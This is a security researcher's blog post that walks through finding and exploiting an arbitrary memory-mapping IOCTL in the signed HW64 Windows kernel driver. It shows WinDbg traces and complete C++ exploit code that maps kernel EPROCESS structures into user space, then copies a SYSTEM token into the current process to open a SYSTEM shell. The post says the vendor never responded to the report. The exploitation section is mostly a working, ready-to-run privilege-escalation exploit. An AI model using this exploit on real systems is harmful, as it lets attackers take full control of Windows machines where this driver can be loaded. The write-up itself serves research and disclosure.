Post

Windows Kernel Exploitation - Arbitrary Memory Mapping (x64)

Windows Kernel Exploitation - Arbitrary Memory Mapping (x64)

In this post, we will develop an exploit for the HW driver. I picked this one because I looked for some real-life target to practice on and saw a post by Avast that mentioned vulnerabilities in an old version of this driver (Version 4.8.2 from 2015), that was used as part of a bigger exploit chain. Unfortunately, I could not find this one available for download so I ended up using the most recent version, 4.9.8 at the time of writing this post. This driver is signed by Microsoft so we can load it even without a kernel debugger attached (the certificate is expired since 2021 but that does not really prevent loading).

Advisory: https://ssd-disclosure.com/ssd-advisory-mts-hw-driver-escalation-of-privileges/

I started by trying to find the IOCTLs mentioned in the post but they do not exist anymore. Luckily the drivers provided some other relatively easy exploitable looking IOCTLs so I gave it a shot.

Vulnerability Discovery

Before starting the look at the driver in IDA I gave this excellent intro post by Voidsec another read to see what kind of starting points to look for:

  • MmMapIoSpace
  • rdmsr
  • wrmsr

At the end of the post, he mentions looking for MmMapIoSpace as an exercise which is something that we have in this driver as well. In the end, I ended up using a different function though.

After opening the driver IDA we look at the imports and can see a couple of functions that handle memory mappings:

Besides the already mentioned MmMapIoSpace there are a couple of other interesting functions here that we can potentially use, including MmMapLockedPages. Let’s see what both functions do:

1
2
3
4
5
PVOID MmMapIoSpace(
  [in] PHYSICAL_ADDRESS    PhysicalAddress,
  [in] SIZE_T              NumberOfBytes,
  [in] MEMORY_CACHING_TYPE CacheType
);

MmMapIoSpace allows mapping a physical memory address to a virtual (kernel-mode) address. This can be useful if you can control the arguments to the function, especially the first 2, through some IOCTL. In this driver, this is indeed the case with one of the IOCTLs but the memory is never mapped to a user-mode address afterward or returned, so I could not do much with it besides crashing the system (by mapping an invalid address). If this address would be mapped to a user-mode address and returned it can be exploited. There is an excellent post here on how to do it. Let’s look at the other function for now:

1
2
3
4
PVOID MmMapLockedPages(
  [in] PMDL MemoryDescriptorList,
  [in] __drv_strictType(KPROCESSOR_MODE / enum _MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode
);

This function (which is deprecated according to Microsoft) allows mapping a virtual address to another one and takes in a pointer to a Memory Descriptor List (MDL). Usually, a call to this function is preceded by the following calls:

1
2
3
4
5
6
7
8
9
10
11
PMDL IoAllocateMdl(
  [in, optional]      __drv_aliasesMem PVOID VirtualAddress,
  [in]                ULONG                  Length,
  [in]                BOOLEAN                SecondaryBuffer,
  [in]                BOOLEAN                ChargeQuota,
  [in, out, optional] PIRP                   Irp
);

void MmBuildMdlForNonPagedPool(
  [in, out] PMDL MemoryDescriptorList
);

IoAllocateMdl takes a virtual memory address & length (we ignore the other arguments for now) and will result in an MDL that is large enough to map our requested buffer size (but not filled yet). The following MmBuildMdlForNonPagedPool will then update the structure with the information about the underlying physical pages that back the virtual memory we requested. Finally MmMapLockedPages takes this pointer to the MDL & returns another address in user-mode virtual memory where the physical pages described by the MDL have been mapped to.

This essentially means that if the 3 functions are executed in the order described, we create a second virtual address that maps to the same physical address as the initial virtual address.

With this theory out of the way, let’s see if and how we can reach this chain of functions. By following the references in IDA we can see that it’s used a few times throughout the program but only in 2 functions:

The path we are going to follow is sub_2E80 (also worth exploring the other one though). When we look at this function we first see a couple of checks being done on the arguments before it eventually ends up in the sequence of functions we just discussed:

For the checks inside the function, we will have a look in the debugger later since some of them might just not matter much to us (e.g. some might be automatically passed without any work from our side). For now, we focus on discovering how to reach this function in the first place. We look for references again and find quite a few:

All those refs are coming from the same function which is essentially a big switch/if/else construct for the different IOCTLs that this driver supports. Here we just go for the first one and follow the back-edges in IDA until we hit an IOCTL at 0x3F70:

1
2
cmp     [rsp+0D8h+var_24], 9C406500h
jz      loc_52D8

So with a potential IOCTL that can get close to the code path we want, we quickly check the driver start function which calls sub_1E80 and has the string we need in order to use CreateFile to get a handle to the driver.

Now we can write our first template and debug the driver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include "windows.h"
#include <stdio.h>

#define QWORD ULONGLONG
#define IOCTL_01 0x9C406500

int main() {
    DWORD index = 0;
    DWORD bytesWritten = 0;

    HANDLE hDriver = CreateFile(L"\\\\.\\HW", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }    
   
    LPVOID uInBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID uOutBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434344444444; 
    *(in + index++) = 0x4545454546464646;              

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);

    return 0;
}

Before running the driver, we set a breakpoint on the IOCTL comparison so we can follow the execution flow in the debugger:

1
2
3
4
5
6
7
8
9
10
11
0: kd>.reload
0: kd> lm m hw64
Browse full module list
start             end                 module name
fffff806`5c1a0000 fffff806`5c1aa000   hw64       (deferred)
0: kd> ba e1 hw64+0x3F70
0: kd> g
...
Breakpoint 0 hit
hw64+0x3f70:
fffff806`5c1a3f70 81bc24b40000000065409c cmp dword ptr [rsp+0B4h],9C406500h

Now that we hit the breakpoint, we continue to step through the code and inspect the source of every comparison to make sure that we track any dependencies on our input buffer. After a few instructions, we hit a call to our target function at hw64+0x532b:

1
2
3
4
5
6
7
8
9
10
11
12
1: kd> 
hw64+0x532b:
fffff806`5c1a532b e850dbffff      call    hw64+0x2e80 (fffff806`5c1a2e80)
1: kd> r
rax=000000009c406500 rbx=ffffbb08113f9540 rcx=ffffbb080fc63000
rdx=0000000000000000 rsi=0000000000000002 rdi=0000000000000001
rip=fffff8065c1a532b rsp=ffffcb0d5189e700 rbp=ffffcb0d5189e881
 r8=ffffbb080e9c26c0  
1: kd> dq rcx
ffffbb08`0fc63000  41414141`42424242 43434343`44444444
ffffbb08`0fc63010  45454545`46464646 00000000`00000000
1: kd> t

We can see that this function takes our input buffer as the first argument – more precisely a copy of it since we can see that it’s at a kernel address. We step into the function and look for comparisons again.

1
2
3
4
5
6
7
8
1: kd> 
hw64+0x2ef0:
fffff806`5c1a2ef0 488b8424e0000000 mov     rax,qword ptr [rsp+0E0h]
1: kd> 
hw64+0x2ef8:
fffff806`5c1a2ef8 4883781000      cmp     qword ptr [rax+10h],0
1: kd> dq rax+10
ffffbb08`0fc63010  45454545`46464646 

Part of our input is compared to zero – if we trace the instructions in IDA we can see that in order to get to our vulnerable code block we need to not take the jump. So this is fine for now. In the next basic block the same comparison is done again and we also pass the check. This is repeated once more and we finally get to the block at hw64+0x2F60 that has the call to IoAllocateMdl.

1
2
3
4
5
6
7
8
1: kd> 
hw64+0x2f7f:
fffff806`5c1a2f7f ff155b410000    call    qword ptr [hw64+0x70e0 (fffff806`5c1a70e0)]
1: kd> r
rax=ffffbb080fc63000 rbx=ffffbb08113f9540 rcx=4545454546464646
rdx=0000000044444444 rsi=0000000000000002 rdi=0000000000000001
rip=fffff8065c1a2f7f rsp=ffffcb0d5189e620 rbp=ffffcb0d5189e881
 r8=0000000000000000  r9=0000000000000000

Let’s match the arguments to the function signature:

1
2
3
4
5
6
7
PMDL IoAllocateMdl(
  [in, optional]      __drv_aliasesMem PVOID VirtualAddress,  // 4545454546464646
  [in]                ULONG                  Length,          // 0000000044444444 
  [in]                BOOLEAN                SecondaryBuffer, // 0
  [in]                BOOLEAN                ChargeQuota,     // 0
  [in, out, optional] PIRP                   Irp              // 0 (on stack)
);

We can see that we control the VirtualAddress it’s getting an MDL for and the size. The values we provided are obviously useless but they helped us to trace our user input. The function actually doesn’t complain and we can step over it (since it only allocates the memory for the MDL). If we step further we hit MmBuildMdlForNonPagedPool:

1
2
3
4
5
1: kd> 
hw64+0x2f97:
fffff806`5c1a2f97 ff153b410000    call    qword ptr [hw64+0x70d8 (fffff806`5c1a70d8)]
1: kd> r
rax=ffffbb080d010000 rbx=ffffbb08113f9540 rcx=ffffbb080d010000

Which maps to this call:

1
2
3
void MmBuildMdlForNonPagedPool(
  [in, out] PMDL MemoryDescriptorList // ffffbb080d010000
);

This will now result in a BSOD since the size we requested is way too large and the address is bogus.

1
2
3
4
5
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa9a2a2a32320, memory referenced.

At this point, we know what our input buffer should look like to get an arbitrary memory mapping and we can continue with the exploitation section.

Exploitation

After having discovered the vulnerable IOCTL it’s time to start the exploitation process. Assuming we can map any kernel virtual address into a user-mode address – what could a good target be? A commonly used payload for kernel exploits is token stealing shellcode. We do not really need shellcode for escalating privileges though because we can copy the token of a SYSTEM process to our current process using the mapping mechanism as a read/write primitive (data-only attack). Executing shellcode is also possible but not in scope for this post. The plan of attack is as follows:

  • Get the address of a SYSTEM process and read the Token pointer
  • Get the address of our current process and overwrite the Token pointer with the one from the SYSTEM process

We can use NtQuerySystemInformation to get the address of a SYSTEM process in memory without using any exploit. We are then going to use our mapping primitive to map the memory where the process is located to a user-mode address. This allows us to read the fields of the EPROCESS structure including the Token, UniqueProcessId and ActiveProcessLinks, of which we can get offsets via the debugger:

1
2
3
4
5
6
7
8
1: kd> dt _EPROCESS
ntdll!_EPROCESS
   ....
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x4b8 Token            : _EX_FAST_REF
   ...

We are updating the PoC to map the SYSTEM process & compare that the data of the mapped area & the original virtual address are indeed the same:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include "windows.h"
#include <stdio.h>

#define QWORD ULONGLONG
#define IOCTL_01 0x9C406500

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(NTAPI* _NtQueryIntervalProfile)(
    DWORD ProfileSource,
    PULONG Interval
);

QWORD getSystemEProcess() {
    ULONG returnLenght = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[0];
    return (QWORD)handleInfo.Object;
}

QWORD mapArbMem(QWORD addr, HANDLE hDriver) {
    DWORD index = 0;
    DWORD bytesWritten = 0;
    LPVOID uInBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID uOutBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434300001000; // size
    *(in + index++) = addr;               // addr

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);
    QWORD* out = (QWORD*)((QWORD)uOutBuf);
    QWORD mapped = *(out + 2);
    return mapped;
}

int main() {
    HANDLE hDriver = CreateFile(L"\\\\.\\HW", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }       

    printf("[>] Exploiting driver..\n");
    QWORD systemProc = getSystemEProcess();
    printf("System Process: %llx\n", systemProc);

    QWORD systemProcMap = mapArbMem(systemProc, hDriver);    
    printf("System Process Mapping: %llx\n", systemProcMap);

    getchar();
    DebugBreak();
    return 0;
}

The getchar() gives us the chance to copy the addresses out and the DebugBreak() conveniently breaks in the context of our process.

1
2
3
4
5
6
7
8
9
10
[>] Exploiting driver..
System Process: ffff850120cab040
System Process Mapping: 1ce40870040
...
1: kd> dq ffff850120cab040
ffff8501`20cab040  00000000`00000003 ffff8501`20cab048
ffff8501`20cab050  ffff8501`20cab048 ffff8501`20cab058
1: kd> dq 1ce40870040
000001ce`40870040  00000000`00000003 ffff8501`20cab048
000001ce`40870050  ffff8501`20cab048 ffff8501`20cab058

As expected, we got a mapping of the target address. We did not cover the output buffer yet – essentially if we inspect it after triggering the IOCTL with valid arguments we get something like the following back, which has the mapped user-mode address as the 3rd value:

1
 ffff850127c16970 4343434300001000 1ce40870040 00000000 ...

At this point, all that is left to do is read the SYSTEM token and then iterate through the ActiveProcessLinks linked list until we find our own process. When we find it, we overwrite our own Token with the SYSTEM one and are done. The final exploit implementing this can be found below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include "windows.h"
#include <stdio.h>

// Author: @xct_de
// Target: Windows 11 (10.0.22000)

#define QWORD ULONGLONG
#define IOCTL_01 0x9C406500

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(NTAPI* _NtQueryIntervalProfile)(
    DWORD ProfileSource,
    PULONG Interval
);

QWORD getSystemEProcess() {
    ULONG returnLenght = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[0];
    return (QWORD)handleInfo.Object;
}

QWORD mapArbMem(QWORD addr, HANDLE hDriver) {
    DWORD index = 0;
    DWORD bytesWritten = 0;
    LPVOID uInBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID uOutBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434300001000; // size
    *(in + index++) = addr;               // addr

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);
    QWORD* out = (QWORD*)((QWORD)uOutBuf);
    QWORD mapped = *(out + 2);
    return mapped;
}

int main() {
    HANDLE hDriver = CreateFile(L"\\\\.\\HW", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }    

    printf("[>] Exploiting driver..\n");
    QWORD systemProc = getSystemEProcess();
    QWORD systemProcMap = mapArbMem(systemProc, hDriver);
    QWORD systemToken = (QWORD)(*(QWORD*)(systemProcMap + 0x4b8));
    printf("[>] System Token: 0x%llx\n", systemToken);

    DWORD currentProcessPid = GetCurrentProcessId();
    BOOL found = false;
    QWORD cMapping = systemProcMap;
    DWORD cPid = 0;
    QWORD cTokenPtr = 0;
    while (!found) {
        QWORD readAt = (QWORD)(*(QWORD*)(cMapping + 0x448)); 
        cMapping = mapArbMem(readAt - 0x448, hDriver);
        cPid = (DWORD)(*(DWORD*)(cMapping + 0x440));
        cTokenPtr = (QWORD)(*(QWORD*)(cMapping + 0x4b8));
        if (cPid == currentProcessPid) {
            found = true;
            break;
        }
    }
    if (!found) {
        exit(-1);
    }
    printf("[>] Stealing Token..\n");
    *(QWORD*)(cMapping + 0x4b8) = systemToken;
    system("cmd");
    printf("[>] Restoring Token..\n");
    *(QWORD*)(cMapping + 0x4b8) = cTokenPtr;
    return 0;
}

SYSTEM \o/

I reported the vulnerability to SSD which then contacted the vendor. Unfortunately, the vendor never responded.

This post is licensed under CC BY 4.0 by the author.